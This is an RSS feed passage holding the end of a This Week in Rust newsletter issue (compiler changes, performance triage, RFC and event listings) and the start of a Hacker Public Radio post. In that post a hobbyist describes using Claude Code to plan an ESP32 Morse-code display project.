<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22483">do not assume array destructuring assignments with rest pattern are constant-sized</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22852">eagerly normalize <code>.await</code>'s <code>IntoFuture::Output</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22791">enable auto trait inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22792">extract variable preserving whitespace from macro input</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22832">fix coroutines not recording binding owners correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22759">fix crashes in assists due to <code>.unwrap()</code> calls in SyntaxFactory</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22810">fix <code>hir</code> crate leaking bound variables from skipped binders</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22855">fix <code>InferenceContext:identity_args</code> using the wrong DefId</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22849">fix syntax bridge panic when spilting float</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22857">handle <code>enum</code> variants in next-solver <code>generics</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22818">implement lowering of HRTB</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22789">invalid <code>pattern_matching_variant</code> lowering due to recovery</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22867">merge <code>WherePredicate::ForLifetimes</code> into <code>WherePredicate::TypeBound</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22804">only write anon const ty in parent's inference result if it doesn't have its own inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22822">panic with a function item and a proc macro item having a duplicate name</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22827">parser to error on macro type bound</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22865">spawn proc-macro servers on requests clearing the client cache</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22782">use quote! inside <code>ast::make::expr_call()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22793">use <code>Result</code> for the lsp-server <code>Response</code> payload type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22861">record expressions in types in <code>ExprScope</code></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>The two most notable changes this week were <a href="https://github.com/rust-lang/rust/pull/159115">#159115</a>,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and <a href="https://github.com/rust-lang/rust/pull/159091">#159091</a>, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.</p>
<p>There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.</p>
<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;end=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;absolute=false&amp;stat=instructions%3Au">5503df87..d527bc9b</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 1.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.7%</td>
<td>[0.2%, 4.6%]</td>
<td>69</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-2.0%</td>
<td>[-6.2%, -0.2%]</td>
<td>136</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-2.6%</td>
<td>[-8.4%, -0.2%]</td>
<td>119</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.4%</td>
<td>[-6.2%, 1.0%]</td>
<td>176</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/189822607d8d09acd85c234b2c245e817591ca67/triage/2026/2026-07-21.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157562">Avoid computing layout of enums with non-int discriminants</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157572">stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158835">rustc_passes: lint unused <code>#[path]</code> attributes on inline modules</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1019">Emit <code>note</code> when calling <code>rustc</code> without specifying an edition</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/pull/314">Deallocate post-2026 funds from PM and compiler-ops</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/558">Do the bytes of a pointer have to stay in the same order?</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
  <a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
  <a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
  <a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
  <a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-22 - 2026-08-19 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-24 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, IN | <a href="https://www.meetup.com/rust-pune">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Stockholm, SE | <a href="https://www.meetup.com/stockholm-rust">Stockholm Rust</a><ul>
<li><a href="https://www.meetup.com/stockholm-rust/events/315749994/"><strong>Ferris' Fika Forum #28</strong></a></li>
</ul>
</li>
<li>2026-07-27 | Augsburg, DE | <a href="https://rust-augsburg.github.io/meetup">Rust Meetup Augsburg</a><ul>
<li><a href="https://rust-augsburg.github.io/meetup/Meetup_20.html"><strong>Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1uzknzl/tokiorstopcoat_a_batteriesincluded_framework_for/oy8k2nn/">Carl Lerche on r/rust</a> about the launch of topcoat</p>
<p>Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1v41dgv/this_week_in_rust_661/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerp...]]></description>
<link>https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</guid>
<pubDate>Thu, 23 Jul 2026 02:06:01 +0200</pubDate>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

Hello, again. This is Trey.

</p>

<p>


</p>

<p>

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  

</p>

<p>


</p>

<p>

If you wish to catch up on earlier episodes, you can find them on my 
<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
HPR profile page</a>


<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
https://www.hackerpublicradio.org/correspondents/0394.html</a>



</p>

<p>


</p>

<p>

It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  

</p>

<p>


</p>

<p>

We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.

</p>

<p>


</p>

<p>

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.

</p>

<p>


</p>

<p>

But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  

</p>

<p>


</p>

<p>

"Hello, my name is Trey, and I am a fraud."

</p>

<p>


</p>

<p>

OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

</p>

<p>


</p>

<p>

As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?

</p>

<p>


</p>

<p>

So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

</p>

<p>


</p>

<p>

Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

</p>

<p>


</p>

<p>

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:

</p>

<p>


</p>

<p>

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

</p>

<p>


</p>

<p>

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

</p>

<p>


</p>

<p>

Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.

</p>

<p>


</p>

<p>

CYD Morse Sender — Step-by-Step Build Plan

</p>

<p>


</p>

<p>

What You Already Have

</p>

<p>

- 3 fully designed LVGL screens (Send, Config, Keyboard)

</p>

<p>

- 7 send buttons with green styling on the Send Screen

</p>

<p>

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

</p>

<p>

- Text area + LVGL keyboard widget on Keyboard Screen

</p>

<p>

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

</p>

<p>

---

</p>

<p>

Phase 1: Fix Touchscreen Input

</p>

<p>

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         

</p>

<p>


</p>

<p>

Phase 2: Persistent Message Storage

</p>

<p>

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

</p>

<p>


</p>

<p>

Phase 3: Config Screen — Slot Selection &amp; Speed

</p>

<p>

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

</p>

<p>


</p>

<p>

Phase 4: Keyboard Screen — Capture and Save Text

</p>

<p>

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

</p>

<p>


</p>

<p>

Phase 5: Morse Code Engine

</p>

<p>

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

</p>

<p>


</p>

<p>

Phase 6: Non-Blocking LED Transmission

</p>

<p>

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).

</p>

<p>


</p>

<p>

Phase 7: Wire the Send Buttons

</p>

<p>

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

</p>

<p>


</p>

<p>

Phase 8: Integration &amp; Polish

</p>

<p>

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

</p>

<p>

---

</p>

<p>

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

</p>

<p>


</p>

<p>


</p>

<p>

This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 
